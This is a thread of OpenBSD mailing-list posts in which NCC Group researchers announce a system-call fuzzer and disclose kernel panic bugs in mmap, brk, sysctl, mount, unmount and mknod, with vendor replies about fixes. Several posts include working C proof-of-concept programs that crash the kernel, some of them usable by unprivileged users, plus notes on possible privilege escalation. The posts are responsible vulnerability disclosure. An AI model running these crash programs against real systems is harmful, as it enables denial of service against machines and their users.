OpenBSD System Call Fuzzer - Triforce

2016-10-31 Thread Tim Newsham
Hi,  Jesse Hertz and I reported a bunch of OpenBSD system call
bugs earlier this year.  We've published the fuzzer that we've
been using on github and wanted to announce it to the list so
that others can make use of it:

https://github.com/nccgroup/TriforceOpenBSDFuzzer
https://github.com/nccgroup/TriforceAFL

The fuzzer comes with a README that has detailed instructions
for setting up and using the fuzzer.  We've run it against OpenBSD 5.9
for a while, and we include the details of the bugs that we found
with it in the repo. We haven't done any testing of the newer OpenBSD 6.0
release (and don't currently have any plans to do so).

We've done all of our fuzzing from a Linux machine, but it would
probably be possible to fuzz from an OpenBSD system (assuming you can
get qemu and AFL to build in OpenBSD).

We hope that others will run with this and continue testing system
calls and other system features with the fuzzer. We'd be happy to answer
any questions that come up.

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


Re: [Bug 64] Any user can trigger a panic in mmap with an overlapping mapping

2016-08-01 Thread Tim Newsham
Yup.  Thank you!

On Mon, Aug 1, 2016 at 9:17 AM, Bob Beck <b...@openbsd.org> wrote:

> And just to confirm tim, we're sorting out the nature of a minimal patch
> for a possible errata, and we'll
> need to get the errata signed. I don't anticipate this will be more than a
> day or two if you can wait that long.
>
>
> On Mon, Aug 1, 2016 at 1:09 PM, Mark Kettenis <mark.kette...@xs4all.nl>
> wrote:
>
> > > From: Jesse Hertz <jesse.hertz@nccgroup.trust>
> > > Date: Mon, 1 Aug 2016 14:38:19 -0400
> > >
> > > Hi All,
> > >
> > > Is a fix for this in the works? We'd like to be able to point to a
> > > fix before posting to oss-sec :)
> >
> > Hi Jesse,
> >
> > The fix suggested in the analysis has been committed, and we have
> > committed two other fixes to prevent against overflows/underflows in
> > related uvm code.  Not sure if somebody is doing an errata for -stable
> > for this.
> >
> > CVSROOT:/cvs
> > Module name:src
> > Changes by: t...@cvs.openbsd.org2016/07/29 14:44:40
> >
> > Modified files:
> > sys/uvm: uvm_map.c
> >
> > Log message:
> > add a check that the arguments to isavail don't overflow.
> > callers should probably check too, but checking here won't hurt.
> > possible panic reported by tim newsham.
> > ok kettenis
> >
> >
> > CVSROOT:/cvs
> > Module name:src
> > Changes by: kette...@cvs.openbsd.org2016/07/30 10:37:55
> >
> > Modified files:
> > sys/uvm: uvm_addr.c
> >
> > Log message:
> > Add a few checks for potential integer overflow and underflow related to
> > the
> > size of an address range.
> >
> > ok deraadt@, tedu@
> >
> >
> > CVSROOT:/cvs
> > Module name:src
> > Changes by: kette...@cvs.openbsd.org    2016/07/30 10:43:44
> >
> > Modified files:
> > sys/uvm: uvm_map.c
> >
> > Log message:
> > Check for wraparound before the "commit" phase of uvm_map() and
> > uvm_mapanon(),
> > to prevent hitting assertions and/or corrupting data structures during
> that
> > phase.
> >
> > ok deraadt@, tedu@
> >
> >
> >
> >
>



-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


[Bug 64] Any user can trigger a panic in mmap with an overlapping mapping

2016-07-28 Thread Tim Newsham
Hi,  We just came across another issue that allows a user to crash the system 
through mmap.  Despite trying, we didn't notice any more serious privilege 
escalation opportunities.

/*
 * mmap_dup_panic.c
 *Demonstrate a panic through the mmap system call.
 *
 * gcc -g mmap_dup_panic.c -o mmap_dup_panic
 */

#ifdef BUG_WRITEUP //---
Any user can trigger a panic in mmap with an overlapping mapping

Impact: 
Any user can trigger a panic by requesting a large mapping
that overlaps with an existing mapping.

Description:
It is possible for an mmap() call to request a mapping at a 
virtual address that overlaps an existing mapping.  This is checked
for in uvm_map() by calling uvm_map_isavail() with the hint address and
size..  There is a flaw in uvm_map_isavail() when the requested size is very
large. The code looks up the maps at the start and end address with:

if (*start_ptr == NULL) {
*start_ptr = uvm_map_entrybyaddr(atree, addr);
if (*start_ptr == NULL)
return 0;
} else
KASSERT(*start_ptr == uvm_map_entrybyaddr(atree, addr));
if (*end_ptr == NULL) {
if (VMMAP_FREE_END(*start_ptr) >= addr + sz)
*end_ptr = *start_ptr;
else {
*end_ptr = uvm_map_entrybyaddr(atree, addr + sz - 1);
if (*end_ptr == NULL)
return 0;
}
} else
KASSERT(*end_ptr == uvm_map_entrybyaddr(atree, addr + sz - 1));

Due to an integer overflow that can occur when computing
"addr + sz" it is possible for the end_ptr map to be
computed incorrectly (setting "*end_ptr = *start_ptr"). Later
when this same function iterates over the maps between the start 
and end maps, the function may fail to notice that a large mapping 
overlaps with an existing mapping.

If uvm_map_isavail() indicates that the hint address is available,
uvm_map() will continue its processing without assigning a new
address.  It will eventually call uvm_map_fix_space() which
performs its own sanity lookup with uvm_mapent_addr_insert(),
and panics if an overlapping mapping is added:

res = RB_INSERT(uvm_map_addr, >addr, entry);
if (res != NULL) {
panic("uvm_mapent_addr_insert: map %p entry %p "
"(0x%lx-0x%lx G=0x%lx F=0x%lx) insert collision "
"with entry %p (0x%lx-0x%lx G=0x%lx F=0x%lx)",
map, entry,
entry->start, entry->end, entry->guard, entry->fspace,
res, res->start, res->end, res->guard, res->fspace);
}

An attacker can take advantage of this to intentionally
trigger a panic to crash the system.  This does not require
any special privileges.

In theory this flaw might allow an attacker to make a mapping
that wraps around from user addresses, through kernel addresses
and back to low user addresses.  Such a mapping might allow
access to kernel memory or to the NULL page (useful for performing
certain attacks against NULL pointer use in the kernel).
However NCC was unable to find any way to create such a mapping
without causing a panic since it does not appear to be possible
to make a mapping above the stack segment.  All wrap-around mappings
lower than this address overlap with the stack segment and result
in a panic.

Reproduction:
Run the attached mmap_dup_panic.c program. It first maps a
page in and then performs a second mmap() call to request
another mapping at the next page address.  This second mapping overlaps 
the first due to the large size, and causes a panic message such as
"panic: uvm_mapent_addr_insert: map 0xff00036be300 entry 0xff000311d178 
(0x1dcc5600-0x1dcc5600 G=0x0 F=0x2) insert collision with entry 
0xff000272de08 (0x1dcc5600-0x1dcc5600 G=0x0 F=0x1000)"
NCC Group was able to reproduce this issue on OpenBSD 5.9-stable kernel
pulled from CVS on July 25, 2016.

Recommendation:
Detect when "addr + sz" causes an integer overflow in uvm_map_isavail().
Return zero indicating that this mapping is not available in this case.

Reported: 2016-07-28
Fixed:notyet
#endif // BUG_WRITEUP ---
 
#include 
#include 
#include 
#include 
#include 

void xperror(int cond, char *msg)
{
if(cond) {
perror(msg);
exit(1);
}
}

int main(int argc, char **argv)
{
int fd;
char *p, *pg;

fd = open("/tmp/mapfile", O_RDWR|O_CREAT, 0666);
xperror(fd == -1, "/tmp/mapfile");
write(fd, "testing\n", 8);

pg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 
-1, 0);
xperror(pg == MAP_FAILED, "mmap");

    p = mmap(pg+4096, 0xff00, 0, 0, fd, 0);
xperror(pg == MAP_FAILED, "mmap2");
printf("no crash!\n");
return 0;
}

Tim Newsham
Distinguished Security Engineer, Security Consulting
NCC Group
Tim.Newsham@nccgroup.trust | PGP: B415 550D BEE9 07DB B4C9  F96C 8EFE CB2F 402D 
3DF0



Re: mmap crash

2016-07-26 Thread Tim Newsham
We're seeing similar panic's when using brk():

#include 
#include 
#include 

int main(int argc, char **argv) {
brk(malloc(0x21000));
printf("no crash!\n");
return 0;
}

This one is non-deterministic, probably due to address space randomization?
Sometimes it fails with a dmesg warning: "sbrk: grow 10734837760 failed,
error = 12"
and occasionally it panics: "panic: malloc: out of space in kmem_map".
The panic happens in amap_alloc1() as before, but in the slot allocation:

amap->am_slots = mallocarray(totalslots, MALLOC_SLOT_UNIT, M_UVMAMAP,
waitf);

for example:

#0  panic (fmt=0x81949540 "malloc: out of space in kmem_map")
at ../../../../kern/subr_prf.c:181
#1  0x811d5828 in malloc (size=33890304, type=98, flags=1)
at ../../../../kern/kern_malloc.c:240
#2  0x811d6c89 in mallocarray (nmemb=2118144, size=16, type=98,
flags=1) at ../../../../kern/kern_malloc.c:730
#3  0x813aeaf0 in amap_alloc1 (slots=2117970, padslots=16, waitf=1)
at ../../../../uvm/uvm_amap.c:201

from
#6  0x813d4a81 in sys_obreak (p=0x83934478,
v=0x83942e60, retval=0x83942eb0)
at ../../../../uvm/uvm_unix.c:85
85 error = uvm_map(>vm_map, , new - old, NULL,
(gdb) p/x new
$3 = 0x109543f54000

The crash seems to happen in some memory configurations and not others.
I was able to reproduce this occasionally on a 64M and 128M vm, but not on
a
256M, 512M or 1024M VM. I only get crashes and dmesg output when running
as root.

Testing done on amd64 using 5.9-stable from yesterday.

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


Re: mmap crash

2016-07-26 Thread Tim Newsham
>
> The following program triggers the crash on my small VM's (64M, amd64) as
> well as my medium VM (1G ram).  When triggered, it reports
> "panic: malloc: out of space in kmem_map".
>

I should have mentioned that this was with the -stable kernel pulled
yesterday,
which includes the fixes for the earlier reported mmap issues.

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


mmap crash

2016-07-26 Thread Tim Newsham
Hi,  It seems there is still a way to crash the kernel with the mmap call.
This one seems a lot less important since it appears only root can do it.
The following program triggers the crash on my small VM's (64M, amd64) as
well as my medium VM (1G ram).  When triggered, it reports
"panic: malloc: out of space in kmem_map".  Due to ulimit's, I cannot
reproduce this as a normal user, but it does reproduce reliably as root.
The panic happens at the same point as the mmap crash we reported earlier,
in the malloc() call inside of amap_alloc().

#include 
#include 

int main(int argc, char **argv)
{
char *p;
size_t sz;

sz = 0x7fafa;
p = mmap((void*)0x10, sz, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED|MAP_FIXED|MAP_ANON, -1, 0);
printf("%lx %p\n", (unsigned long)sz, p);
if(p == MAP_FAILED) {
perror("mmap");
return 1;
    }
    return 0;
}

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


Re: [Bug 63] Any user can panic the kernel with the sysctl call.

2016-07-25 Thread Tim Newsham
>
> I made the same change in my tree. So OK claudio@
>

Thank you both for the quick turnaround.   Do you know if there will be an
errata for this?
We want to post this to oss-sec, but will wait until an errata is published
if one is planned.

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


[Bug 63] Any user can panic the kernel with the sysctl call.

2016-07-22 Thread Tim Newsham
Here's a new one we just found:

/*
 * sysctl_tmpfs_panic.c
 *Demonstrate a panic in UFS through the getdents system call.
 *
 * gcc -g sysctl_tmpfs_panic.c -o sysctl_tmpfs_panic
 */

#ifdef BUG_WRITEUP //---
Any user can panic the kernel with the sysctl call.

Impact:
Any user can panic the kernel by using the sysctl call.  If a
user can manage to map a page at address zero, they may be able
to gain kernel code execution and escalate privileges.

Description:
When processing sysctl calls, OpenBSD dispatches through a number
of intermediate helper functions.  For example, if the first integer
in the path is 10, sys_sysctl() will call through vfs_sysctl() for
further processing.  vfs_sysctl() performs a table lookup based on
the second byte, and if the byte is 19, it selects the tmpfs_vfsops
table and dispatches further processing through the vfs_sysctl method:

if (name[0] != VFS_GENERIC) {
for (vfsp = vfsconf; vfsp; vfsp = vfsp->vfc_next)
if (vfsp->vfc_typenum == name[0])
break;

if (vfsp == NULL)
return (EOPNOTSUPP);

return ((*vfsp->vfc_vfsops->vfs_sysctl)([1], namelen - 1,
oldp, oldlenp, newp, newlen, p));
}

Unfortunately, the definition for tmpfs_vfsops leaves this method NULL:

struct vfsops tmpfs_vfsops = {
tmpfs_mount,/* vfs_mount */
tmpfs_start,/* vfs_start */
tmpfs_unmount,  /* vfs_unmount */
tmpfs_root, /* vfs_root */
(void *)eopnotsupp, /* vfs_quotactl */
tmpfs_statfs,   /* vfs_statfs */
tmpfs_sync, /* vfs_sync */
tmpfs_vget, /* vfs_vget */
tmpfs_fhtovp,   /* vfs_fhtovp */
tmpfs_vptofh,   /* vfs_vptofh */
tmpfs_init, /* vfs_init */
NULL,   /* vfs_sysctl */
(void *)eopnotsupp,
};

Trying to read or write a sysctl path starting with (10,19) results
in a NULL pointer access and a panic of
"attempt to execute user address 0x0 in supervisor mode".
Since any user can perform a sysctl read, this issue can be abused
by any logged in user to panic the system.

OpenBSD intentionally prevents users from attempting to map a page
at the NULL address.  If an attacker is able to get such a mapping,
they may be able to cause the kernel to jump to code mapped at this
address (if other security protections such as SMEP aren't in place).
This would allow an attacker to gain kernel code execution and
escalate their privileges.

Reproduction:
Run the attached sysctl_tmpfs_panic.c program. It will pccess
the (10,19,0) sysctl path and trigger a panic of
"attempt to execute user address 0x0 in supervisor mode".
NCC Group was able to reproduce this issue on OpenBSD 5.9 release 
running amd64.

Recommendation:
Include a NULL-pointer check in vfs_sysctl() before dispatching to
the vfs_sysctl method.  Alternately, include a vfs_sysctl method
in the tmpfs_vfsops table.

Reported: 2016-07-21
Fixed:notyet

#endif // BUG_WRITEUP ---


#include 
#include 
#include 

int main(int argc, char **argv)
{
int name[] = { 10, 19, 0 }; // vfs.tmpfs.0
char buf[16];
size_t sz = sizeof buf;
int x;

x = sysctl(name, 3, buf, , 0, 0);
if(x == -1) perror("sysctl");
    printf("no crash!\n");
return 0;
}


Tim Newsham
Distinguished Security Engineer, Security Consulting
NCC Group
Tim.Newsham@nccgroup.trust | PGP: B415 550D BEE9 07DB B4C9  F96C 8EFE CB2F 402D 
3DF0



Re: read(2) on directories

2016-07-12 Thread Tim Newsham
On Tue, Jul 12, 2016 at 9:19 AM, Todd C. Miller <todd.mil...@courtesan.com>
wrote:

> Do you know what other systems return EISDIR for read(2) of a
> directory?
>

Linux:
>>> os.open("/", 0)
3
>>> os.read(3, 1024)
Traceback (most recent call last):
  File "", line 1, in 
OSError: [Errno 21] Is a directory


>
>  - todd
>
>


-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


Unmounting with MNT_DOOMED flag can lead to a kernel panic

2016-07-12 Thread Tim Newsham
Here's another root-only (unless kern.usermount is set) panic issue.  We
exercise it through tmpfs but it might be more general than that.  We're
not sure what the proper remediation should be here.



/*
 * unmount_panic.c
 *Demonstrate a panic through the unmount system call.
 *
 * gcc -g unmount_panic.c -o unmount_panic
 */

#ifdef BUG_WRITEUP //---
Unmounting with MNT_DOOMED flag can lead to a kernel panic

Impact:
Root users or users on systems with kern.usermount set to true can
trigger a kernel panic when unmounting a filesystem.

Description:
When the unmount system call is called with the MNT_DOOMED flag
set, it does not sync vnodes. This can lead to a condition where
there is still a vnode on the mnt_vnodelist, which triggers a
panic in dounmount().

if (!LIST_EMPTY(>mnt_vnodelist))
panic("unmount: dangling vnode");

This conditoin can only be triggered by users who are allowed
to unmount a filesystem. Normally this is the root user, but
if the kern.usernmount sysctl variable has been set to true,
any user could trigger this panic.

Reproduction:
Run the attached unmount_panic.c program.  It will mount a new
tmpfs on /mnt, open a file on it, and then unmount /mnt with
the MNT_DOOMED flag. This will lead to a panic of "unmount: dangling vnode".
NCC Group was able to reproduce this issue on OpenBSD 5.9 release
running amd64.

Recommendation:
TBD

Reported: 2016-07-12
Fixed:   notyet

#endif // BUG_WRITEUP ---


#include 
#include 
#include 
#include 
#include 

void xperror(int cond, char *msg)
{
if(cond) {
perror(msg);
exit(1);
}
}

int main(int argc, char **argv)
{
struct tmpfs_args args = { TMPFS_ARGS_VERSION, 0, 0, 0, 0, 0 };
int x, fd;

x = mount("tmpfs", "/mnt", 0, );
xperror(x == -1, "mount");

fd = open("/mnt/somefile", O_RDWR | O_CREAT, 0666);
xperror(fd == -1, "/mnt/somefile");

x = unmount("/mnt", MNT_DOOMED);
    xperror(fd == -1, "unmount");

printf("no crash!\n");
return 0;
}


-- 
Tim Newsham
Distinguished Security Engineer, Security Consulting
NCC Group
Tim.Newsham@nccgroup.trust | PGP: B415 550D BEE9 07DB B4C9  F96C 8EFE CB2F 402D 
3DF0



[Bug49] Tmpfs mount with bad args can lead to a panic

2016-07-11 Thread Tim Newsham
Here's a bug related to tmpfs mounts.

 Forwarded Message 

Subject:[Bug49] Tmpfs mount with bad args can lead to a panic
Date:   Mon, 11 Jul 2016 10:07:33 -1000
From:   Tim Newsham <tim.newsham@nccgroup.trust>
To: dera...@openbsd.org, Jesse Hertz <Jesse.Hertz@nccgroup.trust>



Hi Theo, here's a low-severity DoS issue.. root-only unless
kern.usermount is set.  Feel free to open it up to "tech" if you see
fit.  See writeup below.

--

/*
 * mount_panic.c
 *Demonstrate a panic through the mount system call.
 *
 * gcc -g mount_panic.c -o mount_panic
 */

#ifdef BUG_WRITEUP //---
Tmpfs mount with bad args can lead to a panic

Impact:
Root users or users on systems with kern.usermount set to true can
trigger a kernel panic when mounting a tmpfs filesystem.

Description:
The tmpfs filesystem allows the mounting user to specify a
username, a groupname or a device name for the root node of
the filesystem.  A user that specifies a value of VNOVAL for
any of these fields will trigger an assert in tmpfs_alloc_node():

/* XXX pedro: we should check for UID_MAX and GID_MAX instead. */
KASSERT(uid != VNOVAL && gid != VNOVAL && mode != VNOVAL);

This condition can only be triggered by users who are allowed
to mount a tmpfs filesystem. Normally this is the root user, but
if the kern.usernmount sysctl variable has been set to true,
any user could trigger this panic.

Reproduction:
Run the attached mount_panic.c program.  It will mount a tmpfs
filesystem with invalid settings and will lead to a panic of
"panic: kernel diagnostic assertion "uid != VNOVAL && gid != VNOVAL
&& mode != VNOVAL" failed".  NCC Group was able to reproduce this issue
on OpenBSD 5.9 release running amd64.

Recommendation:
Validate the args.ta_root_uid, args.ta_root_gid and args.ta_root_mode
fields in tmpfs_mount() before calling tmpfs_alloc_node().
Return an error to the user when an invalid argument is detected.

Reported: 2016-07-XX
Fixed:   notyet

#endif // BUG_WRITEUP ---


#include 
#include 
#include 
#include 
#include 

#define VNOVAL (-1)

int main(int argc, char **argv)
{
struct tmpfs_args args;
int x;

memset(, 0, sizeof args);
args.ta_version = TMPFS_ARGS_VERSION;
args.ta_root_uid = VNOVAL;
args.ta_root_gid = VNOVAL;
args.ta_root_mode = VNOVAL;
x = mount("tmpfs", "/mnt", 0, );
if(x == -1)
perror("mount");
printf("no crash!\n");
return 0;
}

-- 
Tim Newsham
Distinguished Security Engineer, Security Consulting
NCC Group
Tim.Newsham@nccgroup.trust | PGP: B415 550D BEE9 07DB B4C9  F96C 8EFE CB2F 402D 
3DF0




Re: __syscall dropping 6th arg on amd64

2016-07-08 Thread Tim Newsham
>
> \The first two should have casts as well I think, but you get lucky
> because
> they're passed in registers and not the stack?
>

it "worked", but I switched to providing a prototype declaring all args to
__syscall as
64bit and now everything is happy (with the extra padding arg added).

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


Re: __syscall dropping 6th arg on amd64

2016-07-07 Thread Tim Newsham
On Thu, Jul 7, 2016 at 1:43 PM, Philip Guenther <guent...@gmail.com> wrote:

> > p2 = __syscall(197, 0x10, 4*4096, 7, MAP_ANON, -1, 0, 0);
>
> varargs are so fun.  That last argument is a 64bit type, not an int,
> so you have to use 0LL there for the compiler to fill in the full
> 64bits.
>

That did the trick.. thank you.


> Philip Guenther
>

chrisC: glad to be of assistance.

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


Re: __syscall dropping 6th arg on amd64

2016-07-07 Thread Tim Newsham
>
> If you look at sys/kern/syscalls.master:
> 197 STD { void *sys_mmap(void *addr, size_t len, int prot,
> \
> int flags, int fd, long pad, off_t pos); }
>
> There's a pad before any off_t syscall argument because 1993 or whatever.
>


thank you. I didnt know about that.
I added an extra pad arg and I'm still getting weirdness:

p2 = __syscall(197, 0x10, 4*4096, 7, MAP_ANON, -1, 0, 0);

results in

  1947 a.outCALL
 
mmap(0x10,0x4000,0x7<PROT_READ|PROT_WRITE|PROT_EXEC>,0x1000,-1,0x7f7f)

vs straight call:

  1947 a.outCALL
 mmap(0,0x1,0x3<PROT_READ|PROT_WRITE>,0x1002<MAP_PRIVATE|MAP_ANON>,-1,0)

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


__syscall dropping 6th arg on amd64

2016-07-07 Thread Tim Newsham
I just noticed that the __syscall call is dropping the 6th argument
(providing garbage) when I use it on amd64.  The attached program
makes an mmap call "normally" and with __syscall.  Running the
program in ktrace reveals that the last argument is garbage when
using the __syscall entry, and not when using the "normal" entry.
Is this known/expected behavior or a bug?

---
$ ktrace ./a.out
p 0x10
p 0x100528

---
$ kdump
  2631 a.outCALL
 mmap(0,0x1,0x3<PROT_READ|PROT_WRITE>,0x1002<MAP_PRIVATE|MAP_ANON>,-1,0)
  2631 a.outRET   mmap 27609139748864/0x191c40f7a000

  2631 a.outCALL
 
mmap(0x10,0x4000,0x7<PROT_READ|PROT_WRITE|PROT_EXEC>,0x1000,-1,0x7f7c5bd8)
  2631 a.outRET   mmap 1051608/0x100bd8


#include 
#include 

int
main(int argc, char **argv)
{
void *p;
unsigned long long p2;

p = mmap((void*)0x10, 4*4096, 7, MAP_ANON, -1, 0);
printf("p %p\n", p);
munmap(p, 4*4096);

p2 = __syscall(197, 0x10, 4*4096, 7, MAP_ANON, -1, 0);
printf("p 0x%llx\n", p2);
return 0;
}


-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com


Root can panic kernel with mknod on a tmpfs filesystem

2016-07-05 Thread Tim Newsham
Hi, While fuzzing the openbsd system call interface we came across a
low severity issue.  The details are below in our proof-of-concept that
includes a writeup with recommendations.

Tim & Jesse @ NCC Group


/*
 * tmpfs_mknod_panic.c:
 *Demonstrate a panic in tmpfs when performing mknod
 *
 * gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic
 */

#ifdef BUG_WRITEUP //---
Root can panic kernel with mknod on a tmpfs filesystem

Impact:
Root can panic the kernel.

Description:
When performing a mknod system call on a tmpfs filesystem,
the tmpfs_alloc_node() function asserts that the rdev parameter
is not VNOVAL (-1):

/* Type-specific initialization. */
switch (nnode->tn_type) {
case VBLK:
case VCHR:
/* Character/block special device. */
KASSERT(rdev != VNOVAL);
nnode->tn_spec.tn_dev.tn_rdev = rdev;
break;

However, the value or rdev is never validated previous to this.
Users that can perform mknod() calls on a tmpfs (i.e. root)
can trigger this condition to panic the kernel.

Reproduction:
Compile the attached test program and execute it as root with a path
to a non-existance filename on a tmpfs filesystem:

  # mount -o rw,-s16M -t tmpfs swap /mnt
  # gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic
  # ./tmpfs_mknod_panic /mnt/boom

This should cause the kernel to panic in tmpfs_alloc_node().

Recommendation:
Validate the device number vap->va_rdev in tmpfs_mknod() and return
an error if it is VNOVAL (-1).

Reported: 2016-07-05
Fixed:notyet
#endif // BUG_WRITEUP ---

#include 
#include 

int
main(int argc, char **argv)
{
char *fn;
int i, x;


for(i = 1; i < argc; i++) {
fn = argv[i];
x = mknod(fn, S_IFBLK | 0666, -1);
if(x == -1)
perror(fn);
}
printf("nothing happened!\n");
return 0;
}

-- 
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com